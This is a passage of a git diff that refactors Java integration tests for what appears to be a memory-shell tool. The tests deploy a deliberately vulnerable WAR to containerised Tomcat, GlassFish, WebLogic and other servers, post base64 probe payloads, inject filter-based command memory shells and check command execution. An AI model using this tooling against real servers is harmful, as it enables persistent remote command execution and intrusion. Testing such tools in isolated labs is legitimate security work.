FilterProbeFactory.getBase64ByServer(config.getServer())); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } + + @Test + @SneakyThrows + protected void testCommandReqHeaderResponseBodySpring() { + Assumptions.assumeTrue(getConfig().isSupportsSpringWebMvc(), + "Spring WebMVC test not supported for this server"); + String url = getUrl(); + ProbeAssertion.responseCommandIsOk(url, Server.SpringWebMvc, getConfig().getTargetJdkVersion()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java index c4816141..622b92e3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -4,7 +4,6 @@ import com.reajason.javaweb.probe.payload.BasicInfoPrinter; import com.reajason.javaweb.probe.payload.JdkProbe; import com.reajason.javaweb.probe.payload.ServerProbe; -import com.reajason.javaweb.probe.payload.filter.*; import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; import org.apache.commons.codec.binary.Base64; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java new file mode 100644 index 00000000..0fcca35c --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/ProbeTestConfig.java @@ -0,0 +1,325 @@ +package com.reajason.javaweb.integration.probe; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ContainerTool; +import lombok.Builder; +import lombok.Getter; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.wait.strategy.WaitStrategy; +import org.testcontainers.utility.MountableFile; + +import java.nio.file.Path; + +/** + * Configuration class for probe container tests. + * Uses builder pattern similar to ContainerTestConfig. + * + * @author ReaJason + * @since 2024/12/4 + */ +@Getter +@Builder +public class ProbeTestConfig { + private final String imageName; + private final String server; + private final String expectedJdkVersion; + + @Builder.Default + private final int targetJdkVersion = Opcodes.V1_8; + + @Builder.Default + private final int exposedPort = 8080; + + @Builder.Default + private final String contextPath = "/app"; + + @Builder.Default + private final String healthCheckPath = "/app"; + + private final WaitStrategy waitStrategy; + + private final MountableFile warFile; + private final String warDeployPath; + + private final MountableFile jarFile; + private final String jarDeployPath; + + private final String command; + + @Builder.Default + private final boolean privilegedMode = false; + + @Builder.Default + private final boolean supportsScriptEngine = false; + + @Builder.Default + private final boolean supportsFilterProbe = true; + + @Builder.Default + private final boolean supportsCommand = true; + + @Builder.Default + private final boolean supportsBytecode = true; + + @Builder.Default + private final boolean supportsSpringWebMvc = false; + + @Builder.Default + private final boolean supportsBytecodeWithoutPrefix = false; + + @Builder.Default + private final boolean jakarta = false; + + // Factory methods for common server configurations + + public static ProbeTestConfigBuilder tomcat(String imageName) { + return builder() + .imageName(imageName) + .server(Server.Tomcat) + .warFile(ContainerTool.warFile) + .warDeployPath("/usr/local/tomcat/webapps/app.war") + .supportsScriptEngine(true) + .supportsBytecodeWithoutPrefix(true); + } + + public static ProbeTestConfigBuilder tomcatJakarta(String imageName) { + return builder() + .imageName(imageName) + .server(Server.Tomcat) + .warFile(ContainerTool.warJakartaFile) + .warDeployPath("/usr/local/tomcat/webapps/app.war") + .supportsBytecodeWithoutPrefix(true) + .jakarta(true); + } + + public static ProbeTestConfigBuilder jetty(String imageName) { + return builder() + .imageName(imageName) + .server(Server.Jetty) + .warFile(ContainerTool.warFile) + .warDeployPath("/var/lib/jetty/webapps/app.war"); + } + + public static ProbeTestConfigBuilder jettyJakarta(String imageName) { + return builder() + .imageName(imageName) + .server(Server.Jetty) + .warFile(ContainerTool.warJakartaFile) + .warDeployPath("/var/lib/jetty/webapps/app.war") + .jakarta(true) + .supportsBytecode(false); + } + + public static ProbeTestConfigBuilder jettyOld(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.Jetty) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder glassfish(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.GlassFish) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder glassfishJakarta(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.GlassFish) + .warFile(ContainerTool.warJakartaFile) + .warDeployPath(warDeployPath) + .jakarta(true); + } + + public static ProbeTestConfigBuilder payara(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.GlassFish) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder payaraJakarta(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.GlassFish) + .warFile(ContainerTool.warJakartaFile) + .warDeployPath(warDeployPath) + .jakarta(true); + } + + public static ProbeTestConfigBuilder weblogic(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.WebLogic) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath) + .exposedPort(7001); + } + + public static ProbeTestConfigBuilder websphere(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.WebSphere) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath) + .exposedPort(9080) + .privilegedMode(true); + } + + public static ProbeTestConfigBuilder openLiberty(String imageName) { + return builder() + .imageName(imageName) + .server(Server.WebSphere) + .warFile(ContainerTool.warFile) + .warDeployPath("/config/dropins/app.war") + .exposedPort(9080); + } + + public static ProbeTestConfigBuilder wildfly(String imageName) { + return builder() + .imageName(imageName) + .server(Server.Undertow) + .warFile(ContainerTool.warFile) + .warDeployPath("/opt/jboss/wildfly/standalone/deployments/app.war"); + } + + public static ProbeTestConfigBuilder wildflyJakarta(String imageName) { + return builder() + .imageName(imageName) + .server(Server.Undertow) + .warFile(ContainerTool.warJakartaFile) + .warDeployPath("/opt/jboss/wildfly/standalone/deployments/app.war") + .jakarta(true); + } + + public static ProbeTestConfigBuilder jboss(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.JBoss) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder jbossEap(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.Undertow) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder jbossEapJakarta(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.Undertow) + .warFile(ContainerTool.warJakartaFile) + .warDeployPath(warDeployPath) + .jakarta(true); + } + + public static ProbeTestConfigBuilder resin(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.Resin) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder springboot(String imageName, MountableFile jarFile) { + return builder() + .imageName(imageName) + .jarFile(jarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.Tomcat) + .contextPath("") + .healthCheckPath("/test") + .supportsFilterProbe(false) + .supportsSpringWebMvc(true); + } + + public static ProbeTestConfigBuilder springbootJetty(String imageName, MountableFile jarFile) { + return builder() + .imageName(imageName) + .jarFile(jarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.Jetty) + .contextPath("") + .healthCheckPath("/test") + .supportsFilterProbe(false) + .supportsSpringWebMvc(true); + } + + public static ProbeTestConfigBuilder springbootUndertow(String imageName, MountableFile jarFile) { + return builder() + .imageName(imageName) + .jarFile(jarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.Undertow) + .contextPath("") + .healthCheckPath("/test") + .supportsFilterProbe(false) + .supportsSpringWebMvc(true); + } + + public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) { + return builder() + .imageName(imageName) + .jarFile(jarFile) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebFlux) + .contextPath("") + .healthCheckPath("/test") + .supportsFilterProbe(false) + .supportsCommand(false) + .supportsBytecode(false); + } + + public static ProbeTestConfigBuilder tongweb(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.TongWeb) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder bes(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.BES) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder apusic(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.Apusic) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder inforsuite(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.InforSuite) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } + + public static ProbeTestConfigBuilder primeton(String imageName, String warDeployPath) { + return builder() + .imageName(imageName) + .server(Server.GlassFish) + .warFile(ContainerTool.warFile) + .warDeployPath(warDeployPath); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java index bdc0e395..096294a9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish3ContainerTest.java @@ -1,113 +1,36 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish3ContainerTest { - public static final String imageName = "reajason/glassfish:3.1.2.2-jdk6"; +public class GlassFish3ContainerTest extends AbstractProbeContainerTest { - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } - - @AfterAll - static void teardown() { - log.info(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0_45|50", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfish( + "reajason/glassfish:3.1.2.2-jdk6", + "/usr/local/glassfish3/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java index 6c65250b..41dc5593 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish4ContainerTest.java @@ -1,113 +1,36 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish4ContainerTest { - public static final String imageName = "reajason/glassfish:4.1.2-quick"; +public class GlassFish4ContainerTest extends AbstractProbeContainerTest { - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } - - @AfterAll - static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_271|52", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfish( + "reajason/glassfish:4.1.2-quick", + "/usr/local/glassfish4/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|1.8.0_271|52") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java index 821a9aa4..8ebc733a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish501ContainerTest.java @@ -1,106 +1,36 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish501ContainerTest { - public static final String imageName = "reajason/glassfish:5.0.1"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_411|52", data); - } +public class GlassFish501ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfish( + "reajason/glassfish:5.0.1", + "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|1.8.0_411|52") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java index 96eacab2..67f55bcd 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish510ContainerTest.java @@ -1,107 +1,36 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish510ContainerTest { - public static final String imageName = "reajason/glassfish:5.1.0"; - - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); +public class GlassFish510ContainerTest extends AbstractProbeContainerTest { - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_411|52", data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.glassfish( + "reajason/glassfish:5.1.0", + "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|1.8.0_411|52") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java index b687aaee..3da3b006 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/glassfish/GlassFish6ContainerTest.java @@ -1,107 +1,36 @@ package com.reajason.javaweb.integration.probe.glassfish; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class GlassFish6ContainerTest { - public static final String imageName = "reajason/glassfish:6.2.6-jdk11"; - - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, 